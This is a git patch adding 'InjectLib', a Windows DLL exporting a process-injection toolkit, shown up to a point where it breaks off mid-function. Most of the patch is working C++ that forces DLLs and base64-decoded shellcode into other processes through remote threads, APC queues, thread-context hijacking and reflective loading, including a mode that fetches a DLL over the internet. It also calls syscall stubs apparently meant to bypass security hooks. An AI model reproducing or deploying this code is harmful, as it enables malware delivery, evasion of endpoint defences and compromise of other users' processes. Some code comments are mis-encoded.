From 93ad20ada512efd4023794fca59069aeeb3e150f Mon Sep 17 00:00:00 2001 From: joe1sn Date: Sun, 6 Apr 2025 11:01:38 +0800 Subject: [PATCH 1/2] feat: new branch & lib version --- InjectLib/InjectLib.cpp | 87 +++ InjectLib/InjectLib.h | 39 ++ InjectLib/InjectLib.vcxproj | 191 ++++++ InjectLib/InjectLib.vcxproj.filters | 65 ++ InjectLib/InjectLib.vcxproj.user | 6 + InjectLib/app/Injector.cpp | 902 ++++++++++++++++++++++++++++ InjectLib/app/Injector.h | 72 +++ InjectLib/app/S-Wisper-asm.x64.asm | 23 + InjectLib/app/S-Wisper.c | 278 +++++++++ InjectLib/app/S-Wisper.h | 123 ++++ InjectLib/app/utils/crypto.hpp | 38 ++ InjectLib/app/utils/query.hpp | 102 ++++ InjectLib/cpp.hint | 2 + InjectLib/dllmain.cpp | 19 + InjectLib/framework.h | 5 + InjectLib/pch.cpp | 5 + InjectLib/pch.h | 7 + InjectLib/test/dll_test.py | 13 + README.md | 131 +--- X-Inject.sln | 12 +- X-Inject/app/utils/query.hpp | 4 +- 21 files changed, 1991 insertions(+), 133 deletions(-) create mode 100644 InjectLib/InjectLib.cpp create mode 100644 InjectLib/InjectLib.h create mode 100644 InjectLib/InjectLib.vcxproj create mode 100644 InjectLib/InjectLib.vcxproj.filters create mode 100644 InjectLib/InjectLib.vcxproj.user create mode 100644 InjectLib/app/Injector.cpp create mode 100644 InjectLib/app/Injector.h create mode 100644 InjectLib/app/S-Wisper-asm.x64.asm create mode 100644 InjectLib/app/S-Wisper.c create mode 100644 InjectLib/app/S-Wisper.h create mode 100644 InjectLib/app/utils/crypto.hpp create mode 100644 InjectLib/app/utils/query.hpp create mode 100644 InjectLib/cpp.hint create mode 100644 InjectLib/dllmain.cpp create mode 100644 InjectLib/framework.h create mode 100644 InjectLib/pch.cpp create mode 100644 InjectLib/pch.h create mode 100644 InjectLib/test/dll_test.py diff --git a/InjectLib/InjectLib.cpp b/InjectLib/InjectLib.cpp new file mode 100644 index 0000000..8a588c2 --- /dev/null +++ b/InjectLib/InjectLib.cpp @@ -0,0 +1,87 @@ +// InjectLib.cpp : 定义 DLL 的导出函数。 +// + +#include "pch.h" +#include "framework.h" +#include "InjectLib.h" + +//远程线程注入DLL +INJECTLIB_API bool rmtdll(std::string dllPath, DWORD pid) { + if (pid == 0) + return false; + auto injector = Injector(dllPath); + injector.remoteThreadInject(pid); + return true; +} + +//反射式注入DLL +INJECTLIB_API bool refdll(std::string dllPath, DWORD pid) { + if (pid == 0) + return false; + auto injector = Injector(dllPath); + injector.reflectInject(pid); + return true; +} +//APC队列注入DLL +INJECTLIB_API bool apcdll(std::string dllPath, DWORD pid) { + if (pid == 0) + return false; + auto injector = Injector(dllPath); + injector.apcInject(pid); + return true; +} +//从网络加载DLL注入DLL +INJECTLIB_API bool net(std::string dllPath, DWORD pid) { + if (pid == 0) + return false; + auto injector = Injector(dllPath); + injector.internetInject(pid, dllPath); + return true; +} +//远程线程注入Shellcode +INJECTLIB_API bool rmtsc(std::string shellcode, DWORD pid) { + if (pid == 0) + return false; + auto injector = Injector(); + injector.shellcodeInject(shellcode, pid); + return true; +} +//APC队列注入Shellcode +INJECTLIB_API bool apcsc(std::string shellcode, DWORD pid) { + if (pid == 0) + return false; + auto injector = Injector(); + injector.apcShellcodeInject(shellcode, pid); + return true; +} +//上下文注入Shellcode +INJECTLIB_API bool ctxsc(std::string shellcode, DWORD pid) { + if (pid == 0) + return false; + auto injector = Injector(); + injector.contextShellcodeInject(shellcode, pid); + return true; +} + +//上下文注入Shellcode +INJECTLIB_API DWORD getPID(const char* proc_name_cstr) { + auto injector = Injector(); + return injector.getPidByName(proc_name_cstr); +} + +/* +// 这是导出变量的一个示例 +INJECTLIB_API int nInjectLib=0; + +// 这是导出函数的一个示例。 +INJECTLIB_API int fnInjectLib(void) +{ + return 0; +} + +// 这是已导出类的构造函数。 +CInjectLib::CInjectLib() +{ + return; +} +*/ \ No newline at end of file diff --git a/InjectLib/InjectLib.h b/InjectLib/InjectLib.h new file mode 100644 index 0000000..81eb9a1 --- /dev/null +++ b/InjectLib/InjectLib.h @@ -0,0 +1,39 @@ +// 下列 ifdef 块是创建使从 DLL 导出更简单的 +// 宏的标准方法。此 DLL 中的所有文件都是用命令行上定义的 INJECTLIB_EXPORTS +// 符号编译的。在使用此 DLL 的 +// 任何项目上不应定义此符号。这样,源文件中包含此文件的任何其他项目都会将 +// INJECTLIB_API 函数视为是从 DLL 导入的,而此 DLL 则将用此宏定义的 +// 符号视为是被导出的。 +#ifdef INJECTLIB_EXPORTS +#define INJECTLIB_API __declspec(dllexport) +#else +#define INJECTLIB_API __declspec(dllimport) +#endif + +#include "./app/Injector.h" + +#include +#include + + +extern "C" INJECTLIB_API bool rmtdll(std::string dllPath, DWORD pid); +extern "C" INJECTLIB_API bool refdll(std::string dllPath, DWORD pid); +extern "C" INJECTLIB_API bool apcdll(std::string dllPath, DWORD pid); +extern "C" INJECTLIB_API bool net(std::string dllPath, DWORD pid); +extern "C" INJECTLIB_API bool rmtsc(std::string shellcode, DWORD pid); +extern "C" INJECTLIB_API bool apcsc(std::string shellcode, DWORD pid); +extern "C" INJECTLIB_API bool ctxsc(std::string shellcode, DWORD pid); +extern "C" INJECTLIB_API DWORD getPID(const char* proc_name_cstr); + +/* +// 此类是从 dll 导出的 +class INJECTLIB_API CInjectLib { +public: + CInjectLib(void); + // TODO: 在此处添加方法。 +}; + +extern INJECTLIB_API int nInjectLib; + +INJECTLIB_API int fnInjectLib(void); +*/ \ No newline at end of file diff --git a/InjectLib/InjectLib.vcxproj b/InjectLib/InjectLib.vcxproj new file mode 100644 index 0000000..e1dcc46 --- /dev/null +++ b/InjectLib/InjectLib.vcxproj @@ -0,0 +1,191 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {dae5dcc7-f89a-4265-aa2b-bbf9fb48c96e} + InjectLib + 10.0 + + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + InjectLib + + + InjectLib + + + InjectLib + + + InjectLib + + + + Level3 + true + WIN32;_DEBUG;INJECTLIB_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + + + Windows + true + false + d3d11.lib;Crypt32.lib;wininet.lib;$(CoreLibraryDependencies);%(AdditionalDependencies) + + + + + Level3 + true + true + true + WIN32;NDEBUG;INJECTLIB_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + + + Windows + true + true + true + false + d3d11.lib;Crypt32.lib;wininet.lib;$(CoreLibraryDependencies);%(AdditionalDependencies) + + + + + Level3 + true + _DEBUG;INJECTLIB_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + + + Windows + true + false + d3d11.lib;Crypt32.lib;wininet.lib;$(CoreLibraryDependencies);%(AdditionalDependencies) + + + + + Level3 + true + true + true + NDEBUG;INJECTLIB_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + + + Windows + true + true + true + false + d3d11.lib;Crypt32.lib;wininet.lib;$(CoreLibraryDependencies);%(AdditionalDependencies) + + + + + Document + ml64 /Fo $(IntDir)%(fileName).obj /c /Cp app\%(fileName).asm + $(IntDir)%(fileName).obj;%(Outputs) + ml64 /Fo $(IntDir)%(fileName).obj /c /Cp app\%(fileName).asm + $(IntDir)%(fileName).obj;%(Outputs) + + + + + + + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/InjectLib/InjectLib.vcxproj.filters b/InjectLib/InjectLib.vcxproj.filters new file mode 100644 index 0000000..9cdeea5 --- /dev/null +++ b/InjectLib/InjectLib.vcxproj.filters @@ -0,0 +1,65 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + + + 源文件 + + + \ No newline at end of file diff --git a/InjectLib/InjectLib.vcxproj.user b/InjectLib/InjectLib.vcxproj.user new file mode 100644 index 0000000..966b4ff --- /dev/null +++ b/InjectLib/InjectLib.vcxproj.user @@ -0,0 +1,6 @@ + + + + true + + \ No newline at end of file diff --git a/InjectLib/app/Injector.cpp b/InjectLib/app/Injector.cpp new file mode 100644 index 0000000..f276625 --- /dev/null +++ b/InjectLib/app/Injector.cpp @@ -0,0 +1,902 @@ +#include "../pch.h" +#include "./Injector.h" +#include "./S-Wisper.h" +#include "./utils/query.hpp" +#include "./utils/crypto.hpp" + +#include +#include +#include + +Injector::Injector(std::string dll_path) { + this->DllPath = dll_path; + this->callback_ = nullptr; + this->exist = this->bFileExists(this->DllPath); + + //constexpr const std::wstring = Crypto::xorstr() + if (!exist) { + return; + } + + this->hNtDll = GetModuleHandle(L"ntdll.dll"); + if (this->hNtDll == nullptr) { + exit(0); + } + this->NtQuerySystemInformation = \ + reinterpret_cast(GetProcAddress(this->hNtDll, "NtQuerySystemInformation")); + + if (!NtQuerySystemInformation) { + return; + } +} + +Injector::Injector() { + this->DllPath = ""; + this->exist = FALSE; + this->callback_ = nullptr; + + this->hNtDll = GetModuleHandle(L"ntdll.dll"); + if (this->hNtDll == nullptr) { + exit(0); + } + this->NtQuerySystemInformation = \ + reinterpret_cast(GetProcAddress(this->hNtDll, "NtQuerySystemInformation")); + + if (!NtQuerySystemInformation) { + return; + } +} + +Injector::~Injector() {} + +void Injector::dllPathSetter(std::string dll_path) { + this->DllPath = dll_path; + this->exist = this->bFileExists(this->DllPath); + if (!exist) { + return; + } +} + +void Injector::callBackSetter(CallbackFunction InjecMethod) { + this->callback_ = InjecMethod; +} + +/* Remote Thread Injection */ +void Injector::remoteThreadInject(DWORD pid) { + if (!this->bPreInjectCheck(pid)) + return; + + const SIZE_T dwAllocSize = this->DllPath.size() + 1; + const int waitTime = 500; + + bool bRet; + SIZE_T dwWriteSize = 0; + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + LPVOID pAddress = VirtualAllocEx(hProcess, NULL, dwAllocSize, MEM_COMMIT, PAGE_READWRITE); + + if (pAddress == nullptr || hProcess == INVALID_HANDLE_VALUE) { + return; + } + + bRet = ::WriteProcessMemory(hProcess, pAddress, this->DllPath.c_str(), dwAllocSize, &dwWriteSize); + if (!bRet) { + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + return; + } + + HMODULE hmodDLL = LoadLibraryA("kernel32.dll"); + if (hmodDLL == INVALID_HANDLE_VALUE || hmodDLL == NULL) { + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + return; + } + + LPVOID LoadLibraryBase = GetProcAddress(hmodDLL, "LoadLibraryA"); + if (LoadLibraryBase == nullptr) { + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + return; + } + + HANDLE hRemoteProcess = NULL; +#ifdef _WIN64 + NTSTATUS status = Sw3NtCreateThreadEx(&hRemoteProcess, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)LoadLibraryBase, pAddress, FALSE, NULL, NULL, NULL, NULL); + if (hRemoteProcess == INVALID_HANDLE_VALUE || hRemoteProcess == NULL || status != STATUS_SUCCESS) { + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + FreeModule(hmodDLL); + return; + } +#else +#ifdef _WIN32 + hRemoteProcess = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibraryBase, pAddress, NULL, NULL); + if (hRemoteProcess == INVALID_HANDLE_VALUE || hRemoteProcess == NULL) { + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + FreeModule(hmodDLL); + return; + } +#endif // _WIN32 +#endif // _WIN64 + + + WaitForSingleObject(hRemoteProcess, 500); + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + FreeModule(hmodDLL); +} + +void Injector::unInject(DWORD pid) { + if (pid == 0) + return; + + MODULEENTRY32 result = { sizeof(result) }; + if (!this->exist) + return; + if (!this->bGetModule(pid, result)) + return; + + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + if (hProcess == NULL) { + return; + } + + HMODULE hModule = GetModuleHandle(L"kernel32.dll"); + if (hModule == NULL) { + CloseHandle(hProcess); + return; + } + + LPTHREAD_START_ROUTINE hFreeLib = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "FreeLibrary"); + if (hFreeLib == NULL) { + + CloseHandle(hProcess); + FreeModule(hModule); + return; + } + + //HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, hFreeLib, result.modBaseAddr, 0, NULL); + HANDLE hThread = NULL; +#ifdef _WIN64 + NTSTATUS status = Sw3NtCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)hFreeLib, result.modBaseAddr, FALSE, NULL, NULL, NULL, NULL); + if (hThread == INVALID_HANDLE_VALUE || hThread == NULL || status != STATUS_SUCCESS) { + + CloseHandle(hProcess); + return; + } +#else +#ifdef _WIN32 + hThread = CreateRemoteThread(hProcess, NULL, 0, hFreeLib, result.modBaseAddr, 0, NULL); + if (hThread == INVALID_HANDLE_VALUE || hThread == NULL) { + + CloseHandle(hProcess); + return; + } +#endif // _WIN32 +#endif // _WIN64 + + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hProcess); + FreeModule(hModule); + //CloseHandle(hFreeLib); +} + + +/* Reflect DLL Injection */ +void Injector::reflectInject(DWORD pid) { + this->atomReflectInject(pid); +} + + +/* APC Dispatch Injection */ +void Injector::apcInject(DWORD pid) { + if (!this->bPreInjectCheck(pid)) + return; + + bool bRet; + const SIZE_T dwAllocSize = this->DllPath.size() + 1; + + SIZE_T dwWriteSize = 0; + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + LPVOID pAddress = VirtualAllocEx(hProcess, NULL, dwAllocSize, MEM_COMMIT, PAGE_READWRITE); + if (pAddress == nullptr || hProcess == INVALID_HANDLE_VALUE) { + return; + } + + bRet = WriteProcessMemory(hProcess, pAddress, this->DllPath.c_str(), this->DllPath.size() + 1, &dwWriteSize); + if (!bRet) { + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + return; + } + + HMODULE Ntdll = LoadLibraryA("kernel32.dll"); + if (Ntdll == INVALID_HANDLE_VALUE || Ntdll == NULL) { + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + return; + } + + LPVOID LoadLibraryBase = GetProcAddress(Ntdll, "LoadLibraryA"); + if (LoadLibraryBase == nullptr) { + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + return; + } + + // loop process -> then loop thread + ULONG bufferSize = 0; + HANDLE hThread; + std::vector buffer; + if (this->NtQuerySystemInformation == nullptr) { + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + return; + } + NTSTATUS status = this->NtQuerySystemInformation(SystemProcessInformation, NULL, 0, &bufferSize); + bool bStat = FALSE; + + buffer.resize(bufferSize); + status = NtQuerySystemInformation(SystemProcessInformation, buffer.data(), bufferSize, &bufferSize); + if (!NT_SUCCESS(status)) { + return; + } + + PMySYSTEM_PROCESS_INFORMATION processInfo = reinterpret_cast(buffer.data()); + for (; processInfo; ) { + if (reinterpret_cast(processInfo->ProcessId) == pid) { + // loop thread + for (ULONG i = 0; i < processInfo->NumberOfThreads; i++) { + hThread = OpenThread( + PROCESS_ALL_ACCESS, + FALSE, + reinterpret_cast(processInfo->Threads[i].ClientId.UniqueThread)); + if (hThread == INVALID_HANDLE_VALUE || hThread == NULL) { + continue; + } + DWORD dwRet = QueueUserAPC((PAPCFUNC)LoadLibraryBase, hThread, (ULONG_PTR)pAddress); + if (dwRet > 0) bStat = TRUE; + CloseHandle(hThread); + break; + } + break; + } + if (processInfo->NextEntryOffset == 0) + break; + processInfo = reinterpret_cast( + reinterpret_cast(processInfo) + processInfo->NextEntryOffset + ); + } + if (!bStat) + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); +} + +/* using fiber thread Injection */ +void Injector::fiberInject(DWORD pid) { + +} + +/* Reflect Inject using dll from internet */ +void Injector::internetInject(DWORD pid, std::string url) { + this->atomReflectInject(pid, url); +} + +/* List Injectable Process */ +std::vector Injector::injectList() { + std::vector procInfo; + + // loop process -> then loop thread + ULONG bufferSize = 0; + HANDLE hProcess = NULL; + std::vector buffer; + if (this->NtQuerySystemInformation == nullptr) { + return procInfo; + } + NTSTATUS status = this->NtQuerySystemInformation(SystemProcessInformation, NULL, 0, &bufferSize); + BOOL bWow64 = FALSE; + + buffer.resize(bufferSize); + status = NtQuerySystemInformation(SystemProcessInformation, buffer.data(), bufferSize, &bufferSize); + if (!NT_SUCCESS(status)) { + return procInfo; + } + PMySYSTEM_PROCESS_INFORMATION processInfo = reinterpret_cast(buffer.data()); + for (; + processInfo;) + { + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, reinterpret_cast(processInfo->ProcessId)); + if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) { + if (processInfo->NextEntryOffset == 0) + break; + processInfo = reinterpret_cast( + reinterpret_cast(processInfo) + processInfo->NextEntryOffset + ); + continue; + } + if (IsWow64Process(hProcess, &bWow64)) { +#ifdef _WIN64 + if (!bWow64) + procInfo.push_back( + ProcessInfo{ reinterpret_cast(processInfo->ProcessId) , processInfo->ImageName.Buffer }); + +#elif _WIN32 + if (bWow64) + procInfo.push_back( + ProcessInfo{ reinterpret_cast(processInfo->ProcessId) , processInfo->ImageName.Buffer }); +#else +#endif + } + CloseHandle(hProcess); + if (processInfo->NextEntryOffset == 0) + break; + processInfo = reinterpret_cast( + reinterpret_cast(processInfo) + processInfo->NextEntryOffset + ); + } + + //std::reverse(procInfo.begin(), procInfo.end()); + //note: remove, due to fast refresh + std::reverse(procInfo.begin(), procInfo.end()); + return procInfo; +} + + +/* Inject With Shellcode */ +void Injector::shellcodeInject(std::string basedsc, DWORD pid) { + BOOL bRet; + + std::string shellcode = Crypto::Base64Decode(basedsc); + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + DWORD size = shellcode.size() + 1; + LPVOID pAddress = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (pAddress == nullptr || hProcess == INVALID_HANDLE_VALUE) { + return; + } + + bRet = WriteProcessMemory(hProcess, pAddress, shellcode.c_str(), static_cast(size) - 1, NULL); + if (!bRet) { + + CloseHandle(hProcess); + VirtualFree(pAddress, shellcode.size() + 1, MEM_COMMIT); + return; + } + + //HANDLE hRemoteProcess = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)pAddress, NULL, NULL, NULL); + HANDLE hRemoteProcess = NULL; +#ifdef _WIN64 + NTSTATUS status = Sw3NtCreateThreadEx(&hRemoteProcess, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)pAddress, NULL, FALSE, NULL, NULL, NULL, NULL); + if (hRemoteProcess == INVALID_HANDLE_VALUE || hRemoteProcess == NULL || status != STATUS_SUCCESS) { + + VirtualFreeEx(hProcess, pAddress, 0x300, MEM_COMMIT); + CloseHandle(hProcess); + return; + } +#else +#ifdef _WIN32 + hRemoteProcess = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)pAddress, NULL, NULL, NULL); + if (hRemoteProcess == INVALID_HANDLE_VALUE || hRemoteProcess == NULL) { + + VirtualFreeEx(hProcess, pAddress, 0x300, MEM_COMMIT); + CloseHandle(hProcess); + return; + } +#endif // _WIN32 + +#endif // _WIN64 + + WaitForSingleObject(hRemoteProcess, INFINITE); + VirtualFreeEx(hProcess, pAddress, shellcode.size() + 1, MEM_COMMIT); + CloseHandle(hProcess); +} + + +/* Inject Shellcode With APC Dispatch */ +void Injector::apcShellcodeInject(std::string basedsc, DWORD pid) { + BOOL bRet; + + std::string shellcode = Crypto::Base64Decode(basedsc); + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + DWORD size = shellcode.size() + 1; + LPVOID pAddress = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE);//???? Sth intresting happend here Why need READ + if (pAddress == nullptr || hProcess == INVALID_HANDLE_VALUE) { + return; + } + + bRet = WriteProcessMemory(hProcess, pAddress, shellcode.c_str(), static_cast(size) - 1, NULL); + if (!bRet) { + + CloseHandle(hProcess); + VirtualFree(pAddress, shellcode.size() + 1, MEM_COMMIT); + return; + } + shellcode = "\x00\x00\x00\x00"; + + // ready to loop thread + ULONG bufferSize = 0; + HANDLE hThread; + std::vector buffer; + + if (this->NtQuerySystemInformation == nullptr) { //check if NtQuerySystemInformation is ready + VirtualFreeEx(hProcess, pAddress, size, MEM_COMMIT); + CloseHandle(hProcess); + return; + } + NTSTATUS status = this->NtQuerySystemInformation(SystemProcessInformation, NULL, 0, &bufferSize); + bool bStat = FALSE; + + buffer.resize(bufferSize); + status = NtQuerySystemInformation(SystemProcessInformation, buffer.data(), bufferSize, &bufferSize); + if (!NT_SUCCESS(status)) { + return; + } + + PMySYSTEM_PROCESS_INFORMATION processInfo = reinterpret_cast(buffer.data()); // init process information + for (; processInfo; ) { //loop process + if (reinterpret_cast(processInfo->ProcessId) == pid) { //wanted pid + for (ULONG i = 0; i < processInfo->NumberOfThreads; i++) { //loop thread + hThread = OpenThread( + PROCESS_ALL_ACCESS, + FALSE, + reinterpret_cast(processInfo->Threads[i].ClientId.UniqueThread)); + if (hThread == INVALID_HANDLE_VALUE || hThread == NULL) { //invalid thread handle + continue; + } + DWORD lpflOldProtect; + VirtualProtectEx(hProcess, pAddress, (SIZE_T)(size + 1), PAGE_EXECUTE, &lpflOldProtect); + DWORD dwRet = QueueUserAPC(reinterpret_cast(pAddress), hThread, NULL); + + if (dwRet > 0) bStat = TRUE; + CloseHandle(hThread); + break; + } + break; + } + if (processInfo->NextEntryOffset == 0) + break; + processInfo = reinterpret_cast( + reinterpret_cast(processInfo) + processInfo->NextEntryOffset + ); + } + //if (!bStat) +} + + +/* Inject Shellcode With Context Resume */ +void Injector::contextShellcodeInject(std::string basedsc, DWORD pid) { + BOOL bRet; + + std::string shellcode = Crypto::Base64Decode(basedsc); + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + DWORD size = shellcode.size() + 1; + LPVOID pAddress = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE); + if (pAddress == nullptr || hProcess == INVALID_HANDLE_VALUE) { + return; + } + + bRet = WriteProcessMemory(hProcess, pAddress, shellcode.c_str(), static_cast(size) - 1, NULL); + if (!bRet) { + + CloseHandle(hProcess); + VirtualFree(pAddress, (SIZE_T)shellcode.size() + 1, MEM_COMMIT); + return; + } + shellcode = "\x00\x00\x00\x00"; + ULONG bufferSize = 0; + HANDLE hThread; + std::vector buffer; + if (this->NtQuerySystemInformation == nullptr) { + VirtualFreeEx(hProcess, pAddress, size, MEM_COMMIT); + CloseHandle(hProcess); + return; + } + NTSTATUS status = this->NtQuerySystemInformation(SystemProcessInformation, NULL, 0, &bufferSize); + bool bStat = FALSE; + + buffer.resize(bufferSize); + status = NtQuerySystemInformation(SystemProcessInformation, buffer.data(), bufferSize, &bufferSize); + if (!NT_SUCCESS(status)) { + return; + } + + DWORD dwRet = 0; + CONTEXT context = { 0 }; + context.ContextFlags = CONTEXT_CONTROL; + + PMySYSTEM_PROCESS_INFORMATION processInfo = reinterpret_cast(buffer.data()); + for (; processInfo; ) { + if (reinterpret_cast(processInfo->ProcessId) == pid) { + // loop thread + for (ULONG i = 0; i < processInfo->NumberOfThreads; i++) { + hThread = OpenThread( + PROCESS_ALL_ACCESS, + FALSE, + reinterpret_cast(processInfo->Threads[i].ClientId.UniqueThread)); + if (hThread == INVALID_HANDLE_VALUE || hThread == NULL) { + continue; + } + + ///////// FUNCTIONAL CODE + + DWORD lpflOldProtect; + VirtualProtectEx(hProcess, pAddress, (SIZE_T)size + 1, PAGE_EXECUTE, &lpflOldProtect); + dwRet = SuspendThread(hThread); + if (dwRet == (DWORD)-1) { + + CloseHandle(hThread); + continue; + } + + dwRet = GetThreadContext(hThread, &context); + if (!dwRet) { + + CloseHandle(hThread); + continue; + } + +#ifdef _WIN64 + context.Rip = (DWORD64)pAddress; +#else + context.Eip = (DWORD)pAddress; +#endif // _WIN64 + dwRet = SetThreadContext(hThread, &context); + if (!dwRet) { + + CloseHandle(hThread); + continue; + } + + ResumeThread(hThread); + if (dwRet == (DWORD)-1) { + + CloseHandle(hThread); + continue; + } + + ///////// FUNCTIONAL CODE + CloseHandle(hThread); + break; + } + break; + } + if (processInfo->NextEntryOffset == 0) + break; + //processInfo = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)processInfo + processInfo->NextEntryOffset); + processInfo = reinterpret_cast( + reinterpret_cast(processInfo) + processInfo->NextEntryOffset + ); + } + +} + + +/* Get processs id by process name */ +DWORD Injector::getPidByName(LPCSTR procName) { + std::vector list = this->injectList(); + + int len = MultiByteToWideChar(CP_UTF8, 0, procName, -1, nullptr, 0); + if (len == 0) { + return len; + } + + wchar_t* wideStrConverted = new wchar_t[len]; + MultiByteToWideChar(CP_UTF8, 0, procName, -1, wideStrConverted, len); + + for (auto l : list) { + + if (wcsstr(l.processName.c_str(), wideStrConverted)) + return l.pid; + } + return 0; +} + +/* Some Gadget */ +bool Injector::bFileExists(std::string filePath) { + DWORD fileAttributes = GetFileAttributesA(filePath.c_str()); + + if (fileAttributes != INVALID_FILE_ATTRIBUTES && + !(fileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { + return true; + } + return false; +} + +bool Injector::bPreInjectCheck(DWORD pid) { + if (!this->bFileExists(this->DllPath)) { + return FALSE; + } + + if (pid == 0) { + return FALSE; + } + + if (!this->bInjectable(pid)) { + return FALSE; + } + return TRUE; +} + +bool Injector::bInjectable(DWORD pid) { + HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + + if (processHandle == NULL) { + return false; + } + + // ��Ŀ������з����ڴ� + LPVOID remoteMemory = VirtualAllocEx(processHandle, nullptr, sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + + if (remoteMemory == nullptr) { + + CloseHandle(processHandle); + return false; + } + + // �رվ�����ͷ��ڴ� + VirtualFreeEx(processHandle, remoteMemory, 0, MEM_RELEASE); + CloseHandle(processHandle); + + return true; +} + +bool Injector::bGetModule(DWORD pid, MODULEENTRY32& result) { + BOOL bRet = FALSE; + HANDLE hSnapshot; + + hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid); + if (hSnapshot == INVALID_HANDLE_VALUE) { + + return FALSE; + } + + + bRet = Module32First(hSnapshot, &result); + for (; bRet; bRet = Module32Next(hSnapshot, &result)) + { + // �����ַ�����תΪխ�ַ����� + size_t bufferSize = wcslen(result.szExePath) + 1; + char convertedWideStr[0x1000]; + //wcstombs_s(convertedWideStr, result.szExePath, bufferSize); + wcstombs_s(nullptr, convertedWideStr, bufferSize, result.szExePath, _TRUNCATE); + if (!strcmp(convertedWideStr, this->DllPath.c_str())) + { + bRet = TRUE; + break; + } + } + CloseHandle(hSnapshot); + if (!bRet) + + return bRet; + +} + +//ԭ�ӷ���ʽע�� +void Injector::atomReflectInject(DWORD pid, std::string url) { + if (pid == 0) { + return; + } + + if (!this->bInjectable(pid)) { + return; + } + + HANDLE hFile = NULL; + DWORD dwFileSize = 0; + SIZE_T dwWriteSize = 0; + std::string buffer = ""; + DWORD dwReadSize; + + if (url.empty()) { //url����Ϊ�� + //ʹ�ñ����ļ�ע�� + hFile = CreateFileA(this->DllPath.c_str(), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + return; + } + dwFileSize = GetFileSize(hFile, NULL); + if (dwFileSize == 0) { + CloseHandle(hFile); + return; + } + + std::vector tempBuffer(dwFileSize); + if (::ReadFile(hFile, tempBuffer.data(), dwFileSize, &dwReadSize, NULL) == FALSE) { + CloseHandle(hFile); + return; + } + buffer.assign(tempBuffer.begin(), tempBuffer.end()); + } + else { + //����url����dll������ buffer + try + { + // ��ʼ�� WinINet + HINTERNET hInternet = InternetOpenA(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); + if (hInternet == NULL) { + throw ""; + } + + // ���� HTTP ���� + HINTERNET hConnect = InternetOpenUrlA(hInternet, 